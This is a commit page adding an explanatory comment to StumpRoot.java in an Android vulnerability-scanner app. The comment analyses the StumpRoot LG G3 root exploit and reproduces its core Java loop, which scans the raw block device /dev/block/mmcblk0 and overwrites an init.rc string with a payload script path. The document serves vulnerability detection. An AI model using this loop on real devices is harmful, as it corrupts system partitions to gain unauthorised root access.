Skip to content

Commit 44d95f6

Browse files
committed
Add some readme stuff I had laying around about stumproot
1 parent b112686 commit 44d95f6

File tree

1 file changed

+48
-0
lines changed
  • app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/system

1 file changed

+48
-0
lines changed

app/src/main/java/fuzion24/device/vulnerability/vulnerabilities/system/StumpRoot.java

Lines changed: 48 additions & 0 deletions
Original file line numberDiff line numberDiff line change
@@ -14,6 +14,54 @@
1414
import java.util.ArrayList;
1515
import java.util.List;
1616

17+
/*
18+
[StumpRoot](http://forum.xda-developers.com/lg-g3/orig-development/root-stump-root-lg-g3-sprint-verizon-t2850906): A root exploit for LG G3 (device capability [here](https://docs.google.com/spreadsheets/d/1hs0qlcGP80gl9wC0r9bs0AWMD-1D9iGgC9ulCG9roMs/edit#gid=0)). This application uses some interesting obfuscation. They reflect every method call made with strings that are ciphered using some simple xor cipher. There are two dexfiles in embedded in the .APK the first dexfile contains some encryption keys to decrypt the second (this was a bit tricky to figure out). The second dex file is the actual payload. All the strings in all the .dex files are ciphered.
19+
20+
### The Exploit
21+
After talking it over a bit with @giantpune it seems that LG left their mmcblk0 accessible to applications. It is still not clear whether this block was left world writable/readable or it is owned by a group that an app can put it self in by requesting a permission. I do not have an LG phone to test this, but can be resolved very quickly once we have a device to test with. The approach they take in exploiting this is searching through the mmc block for a string they know appears in an init.rc script. When they find this string, they are replace it with a call to a shell script that the app has written that roots the phone.
22+
23+
*edit*
24+
```
25+
ls -l /dev/block/mmcblk0
26+
brwxrwx--- root lg_fota 179, 0 1970-01-30 00:41 mmcblk0
27+
```
28+
```
29+
com.lge.fota.xml-<?xml version="1.0" encoding="utf-8"?>
30+
com.lge.fota.xml-<permissions>
31+
com.lge.fota.xml- <permission name="com.lge.permission.ACCESS_LGFOTA" >
32+
com.lge.fota.xml: <group gid="lg_fota" />
33+
com.lge.fota.xml- </permission>
34+
com.lge.fota.xml-
35+
com.lge.fota.xml- <library name="com.lge.fota"
36+
com.lge.fota.xml- file="/system/framework/com.lge.fota.jar"/>
37+
com.lge.fota.xml-
38+
com.lge.fota.xml-</permissions>
39+
```
40+
You need the ```com.lge.permission.ACCESS_LGFOTA``` to put you into the lg_fota group in order to be able to r/w the block device
41+
42+
43+
44+
The bulk of the exploit is pretty much this:
45+
```java
46+
String initrcString = "#2012-03-06 seongmook.yim([email protected]) [P6/MDMBSP] ADD LGODL [END]";
47+
String installPayload = "/data/data/com.stump/files/install.sh"
48+
RandomAccessFile mmcBlock = new RandomAccessFile("/dev/block/mmcblk0", "rw");
49+
byte[] initrcFingerprint = initrcString.getBytes();
50+
byte[] scanBuffer = new byte[initrcFingerprint.length];
51+
52+
for(int i = arg11 - 10000; i <= arg11 + 10000; ++i) {
53+
mmcBlock.seek(i);
54+
mmcBlock.read(scanBuffer);
55+
if(Arrays.equals(initrcFingerprint, scanBuffer)) {
56+
mmcBlock.seek(i);
57+
mmcBlock.write(installPayload.getBytes());
58+
mmcBlock.close();
59+
return 0;
60+
}
61+
}
62+
mmcBlock.close();
63+
```
64+
*/
1765
public class StumpRoot implements VulnerabilityTest {
1866

1967
@Override

0 commit comments

Comments
 (0)